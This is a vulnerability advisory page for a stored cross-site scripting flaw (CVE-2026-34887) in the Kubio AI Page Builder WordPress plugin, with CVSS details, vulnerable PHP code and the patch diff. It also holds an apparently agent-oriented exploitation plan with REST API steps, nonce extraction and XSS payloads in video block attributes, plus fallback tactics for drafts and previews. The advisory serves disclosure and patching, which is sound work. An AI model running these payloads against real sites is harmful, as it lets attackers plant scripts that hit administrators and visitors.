CVE-2026-34887

Kubio AI Page Builder <= 2.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.7.1
Patched in
3d
Time to patch

Description

The Kubio AI Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.0
PublishedMarch 31, 2026
Last updatedApril 2, 2026
Affected pluginkubio

What Changed in the Fix

Changes introduced in v2.7.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-34887 (Kubio AI Page Builder Stored XSS) ## 1. Vulnerability Summary The **Kubio AI Page Builder** plugin (versions <= 2.7.0) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `VideoBlock` clas…

Show full research plan

Exploitation Research Plan: CVE-2026-34887 (Kubio AI Page Builder Stored XSS)

1. Vulnerability Summary

The Kubio AI Page Builder plugin (versions <= 2.7.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the VideoBlock class, specifically during the processing and rendering of block attributes like internalUrl and posterImage.url. The plugin fails to sanitize these attributes before including them in the block's HTML output or style attributes, allowing an attacker with Contributor-level access to inject arbitrary JavaScript that executes when any user views the affected page.

2. Attack Vector Analysis

  • Vulnerable Block: kubio/video (Identified from build/block-library/blocks-manifest.php).
  • Vulnerable Attributes: internalUrl (primary) and posterImage.url (secondary).
  • Authentication Level: Contributor or higher (users with edit_posts capability).
  • Endpoint: POST /wp-json/wp/v2/posts (Standard WordPress REST API for creating/updating posts).
  • Payload Placement: Inside the Gutenberg block comment in the post_content field.

3. Code Flow

  1. Entry Point: An authenticated user saves a post containing a kubio/video block. The block attributes (e.g., internalUrl) are stored in the database within the post_content.
  2. Rendering Trigger: A user views the post. WordPress calls the rendering logic for the dynamic block.
  3. Attribute Retrieval: VideoBlock::getVideoParameters() (in build/block-library/blocks/video/index.php) calls $this->getAttribute( 'internalUrl' ) to retrieve the user-supplied URL.
  4. URL Generation: generateInternalUrl( $params ) uses sprintf( '%s%s', $internalUrl, $time ) to construct the final URL string without any sanitization or escaping of $internalUrl.
  5. Element Mapping: mapPropsToElements() calls getShortcode( $params ) using the tainted URL and assigns the result to the innerHTML of the self::VIDEO element.
  6. Sink: The innerHTML is rendered directly into the page. If internalUrl contains HTML tags (e.g., "><img src=x onerror=alert(1)>"), they are injected into the DOM.
  7. Alternative Sink: The self::POSTER element uses $this->getAttribute( 'posterImage.url' ) directly inside a style attribute's url() function.

4. Nonce Acquisition Strategy

To exploit this via the REST API as a Contributor:

  1. Login to the WordPress instance as a Contributor.
  2. Navigate to the New Post page: browser_navigate("/wp-admin/post-new.php").
  3. Extract the REST Nonce from the wpApiSettings JavaScript object:
    • const restNonce = await browser_eval("window.wpApiSettings?.nonce").
  4. This nonce is required for the X-WP-Nonce header in the subsequent POST request.

5. Exploitation Strategy

The goal is to create a post containing a malicious kubio/video block.

Step-by-Step Plan:

  1. Initialize Session: Login as a Contributor.
  2. Get REST Nonce: Navigate to /wp-admin/post-new.php and extract the nonce as described above.
  3. Craft Payload:
    • We will use the internalUrl attribute to inject a script tag.
    • Block Markup:
      <!-- wp:kubio/video {"videoCategory":"internal","internalUrl":"\u0022\u003e\u003cimg src=x onerror=alert(1)\u003e"} /-->
      
  4. Submit Exploitation Request:
    • Method: POST
    • URL: /wp-json/wp/v2/posts
    • Headers:
      • X-WP-Nonce: [EXTRACTED_NONCE]
      • Content-Type: application/json
    • Body:
      {
        "title": "Kubio XSS PoC",
        "content": "<!-- wp:kubio/video {\"videoCategory\":\"internal\",\"internalUrl\":\"\\\"><img src=x onerror=alert(1)>\"} /-->",
        "status": "publish"
      }
      
  5. Trigger XSS: Navigate to the URL of the newly created post.

6. Test Data Setup

  • User: A user with the contributor role (e.g., username: attacker, password: password123).
  • Plugin Configuration: Ensure the kubio plugin is active. No special AI configuration is needed as we are manually crafting the block markup.

7. Expected Results

  • The REST API should return a 201 Created status code with the post data.
  • When navigating to the post's permalink, the browser should execute alert(1).
  • The rendered HTML will look approximately like:
    <div data-kubio-component="video" ...>
      <div class="kubio-video-inner">
        ... src=""><img src=x onerror=alert(1)>#t=0" ...
      </div>
    </div>
    

8. Verification Steps

  1. Verify Storage: Use WP-CLI to check the post content:
    • wp post get [POST_ID] --field=post_content
    • Confirm the malicious block markup is present.
  2. Verify Execution: Check the frontend output for the unescaped payload:
    • curl -s [POST_URL] | grep "onerror=alert(1)"

9. Alternative Approaches

If the internalUrl vector is mitigated by a WAF or different rendering logic, use the Style Injection vector in posterImage.url:

Alternative Payload:

  • Attribute: posterImage.url
  • Value: x") ; " onmouseover="alert(1)
  • Block Markup:
    <!-- wp:kubio/video {"displayAs":"posterImage","posterImage":{"url":"x\") ; \" onmouseover=\"alert(1)"}} /-->
    
  • Reasoning: If the plugin renders the POSTER element using a style attribute, the payload will attempt to break out of the url() function and the style quote to inject an event handler.

Restricted Capabilities:
If Contributors cannot publish posts (standard WP behavior), the agent should set "status": "pending" or "draft" in the REST request and then use the browser_navigate tool to view the post in the Preview mode, which still triggers the XSS.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Kubio AI Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the `kubio/video` block in versions up to 2.7.0. Authenticated attackers with contributor-level permissions or higher can inject arbitrary JavaScript through unsanitized block attributes like `internalUrl` and `posterImage.url`, which execute when a user views the affected page.

Vulnerable Code

// build/block-library/blocks/video/index.php

public function mapPropsToElements() {
	// ...
	return array(
		self::VIDEO  => array(
			'innerHTML' => $shortcodeContent,
		),
		// ...
		self::POSTER => array_merge(
			array(
				'style' => array(
					'background-image' => "url({$this->getAttribute( 'posterImage.url' )})",
				),
			),
			$frontendAttributes
		),
	);
}

---

// build/block-library/blocks/video/index.php

public function generateInternalUrl( $params ) {
	$internalUrl   = LodashBasic::get( $params, 'internalUrl' );
	// ... [logic to calculate $time] ...
	return sprintf( '%s%s', $internalUrl, $time );
}

---

// build/block-library/blocks/video/index.php

function doVideo( $url, $attributes ) {
	$poster_url = $this->getAttribute( 'posterImage.url' );

	if ( $poster_url ) {
		$attributes .= ' poster="' . esc_url( $poster_url ) . '"';
	}

	return sprintf(
		'<video class="h-video-main" playsinline poster="%s" %s>' .
		' <source src="%s" type="video/mp4" />' .
		'</video>',
		$poster_url,
		esc_attr( $attributes ),
		esc_url( $url )
	);
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/kubio/2.7.0/build/block-library/blocks/video/index.php	2025-02-20 16:01:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kubio/2.7.1/build/block-library/blocks/video/index.php	2026-03-04 06:47:02.000000000 +0000
@@ -42,6 +42,9 @@
 		$shortcodeContent = $this->getShortcode( $params );
 
 		$frontendAttributes = $this->getFrontendScriptAttributes();
+		$url = $this->getAttribute('posterImage.url');
+		$url = $this->getEscapedUrl($url);
+
 
 		return array(
 			self::VIDEO  => array(
@@ -57,7 +60,7 @@
 			self::POSTER => array_merge(
 				array(
 					'style' => array(
-						'background-image' => "url({$this->getAttribute( 'posterImage.url' )})",
+						'background-image' => "url($url)",
 					),
 				),
 				$frontendAttributes
@@ -65,6 +68,21 @@
 		);
 	}
 
+	public function getEscapedUrl($url) {
+		$url = esc_url($url);
+
+		// Allow only http/https
+		if (! empty($url)) {
+			$parsed = wp_parse_url($url);
+			if (! isset($parsed['scheme']) || ! in_array($parsed['scheme'], ['http', 'https'], true)) {
+				$url = '';
+			}
+		} else {
+			$url = '';
+		}
+
+		return $url;
+	}
 	public function getVideoParameters() {
 		$paramList = array( 'internalUrl', 'youtubeUrl', 'vimeoUrl', 'videoCategory', 'displayAs', 'playerOptions' );
 		$params    = array();
@@ -339,8 +357,8 @@
 
 	function doVideo( $url, $attributes ) {
 		$poster_url = $this->getAttribute( 'posterImage.url' );
-
-		if ( $poster_url ) {
+		$poster_url = $this->getEscapedUrl($poster_url);
+		if ( !empty($poster_url) ) {
 			$attributes .= ' poster="' . esc_url( $poster_url ) . '"';
 		}
 
@@ -348,7 +366,7 @@
 			'<video class="h-video-main" playsinline poster="%s" %s>' .
 			' <source src="%s" type="video/mp4" />' .
 			'</video>',
-			$poster_url,
+			esc_attr($poster_url),
 			esc_attr( $attributes ),
 			esc_url( $url )
 		);

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access can create or update a post via the WordPress REST API (`POST /wp-json/wp/v2/posts`) containing a `kubio/video` Gutenberg block. The attacker crafts the block content to include a malicious payload within the `internalUrl` or `posterImage.url` attributes. For example, a payload like `"><img src=x onerror=alert(1)>` in the `internalUrl` attribute will break out of the HTML attribute and inject a script. When any user (including administrators) views the published post or a preview of it, the unsanitized URL is rendered into the page's HTML or CSS, executing the injected JavaScript in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.